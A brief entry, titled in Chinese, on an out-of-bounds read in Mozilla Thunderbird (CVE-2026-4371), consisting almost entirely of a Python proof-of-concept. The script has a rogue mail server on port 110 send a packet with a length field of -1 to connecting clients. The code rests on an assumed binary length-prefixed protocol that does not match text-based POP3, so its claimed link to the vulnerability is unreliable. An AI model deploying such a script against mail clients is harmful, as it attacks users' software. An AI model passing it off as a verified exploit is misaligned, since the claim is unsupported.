CVE-2026-4371 Mozilla Thunderbird 缓冲区越界读取漏洞

import socket import struct # Proof of Concept for CVE-2026-4371 # This script simulates a malicious mail server sending a malformed string with negative length. # Note: This is for educational purposes only. def send_malformed_response(client_socket): # Construct a malicious packet header # Assuming a protocol where length is expected as a 32-bit integer # We send a negative length (e.g., -1 represented as 0xFFFFFFFF) negative_length = struct.pack('>i', -1) # Malformed payload payload = b"MALICIOUS_DATA" # Send the length followed by the payload # The parser may interpret -1 as a large unsigned int, leading to OOB read packet = negative_length + payload try: client_socket.sendall(packet) print("[+] Malformed packet sent successfully.") except Exception as e: print(f"[-] Error sending packet: {e}") # Example usage (requires a listener setup) # server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # server.bind(("0.0.0.0", 110)) # POP3 port example # server.listen(1) # print("[+] Listening for connections...") # conn, addr = server.accept() # send_malformed_response(conn)